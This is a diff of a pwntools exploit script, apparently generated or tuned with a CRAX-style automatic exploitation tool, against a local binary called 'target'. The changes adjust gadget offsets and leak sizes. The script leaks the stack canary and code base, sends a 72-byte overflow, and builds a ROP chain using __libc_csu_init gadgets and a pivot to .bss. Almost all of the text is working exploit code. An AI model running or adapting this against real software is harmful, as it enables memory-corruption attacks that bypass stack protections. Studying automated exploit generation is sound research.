33context .update (arch = 'amd64' , os = 'linux' , log_level = 'info' )
44
55elf = ELF ('target' , checksec = False )
6- __libc_csu_init = 0x1260
6+ __libc_csu_init = 0x1270
77__libc_csu_init_call_target = 0x4888
8- __libc_csu_init_gadget1 = 0x12b6
9- __libc_csu_init_gadget2 = 0x12a0
8+ __libc_csu_init_gadget1 = 0x12c6
9+ __libc_csu_init_gadget2 = 0x12b0
1010canary = 0x0
1111elf_base = 0x0
1212pivot_dest = 0x4850
13- pop_rsi_pop_r15_ret = 0x12c1
13+ pop_rsi_pop_r15_ret = 0x12d1
1414
1515def solve_stage1 (canary , elf_base , iostates ) -> bytes :
1616 os .system ('./launch-crax.sh -c {} -e {} -s {}' .format (hex (canary ), hex (elf_base ), iostates ))
@@ -28,24 +28,20 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
2828
2929 # output state
3030 # leaking: canary
31- proc .recv (25 )
31+ proc .recv (32 )
3232 canary = u64 (b'\x00 ' + proc .recv (7 ))
3333 log .info ('leaked canary: {}' .format (hex (canary )))
34-
35- # output state
3634 proc .recvrepeat (0.1 )
3735
3836 # input state (offset = 72)
3937 proc .send (b'\x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 \x41 ' )
4038
4139 # output state
4240 # leaking: code
43- proc .recv (72 )
41+ proc .recv (99 )
4442 elf_leak = u64 (proc .recv (6 ).ljust (8 , b'\x00 ' ))
45- elf_base = elf_leak - 0x1179
43+ elf_base = elf_leak - 0x1169
4644 log .info ('leaked elf_base: {}' .format (hex (elf_base )))
47-
48- # output state
4945 proc .recvrepeat (0.1 )
5046
5147 # input state (offset = 48), skipped
@@ -54,7 +50,7 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
5450
5551 # input state (offset = 48)
5652 # input state (rop chain begin)
57- payload = solve_stage1 (canary , elf_base , 'o,i25,o25,o, i72,o72,o ,i48,i48,i48' )[97 :193 ]
53+ payload = solve_stage1 (canary , elf_base , 'o,i25,o32, i72,o99 ,i48,i48,i48' )[97 :193 ]
5854 proc .send (payload )
5955 time .sleep (0.2 )
6056
@@ -188,7 +184,7 @@ def solve_stage1(canary, elf_base, iostates) -> bytes:
188184 payload += p64 (0x4141414141414141 )
189185 payload += p64 (0x4141414141414141 )
190186 payload += p64 (0x4141414141414141 )
191- payload += p64 (elf_base + 0x12c3 )
187+ payload += p64 (elf_base + 0x12d3 )
192188 payload += p64 (elf_base + elf .bss ())
193189 payload += p64 (elf_base + elf .sym ['read' ])
194190 proc .send (payload )
0 commit comments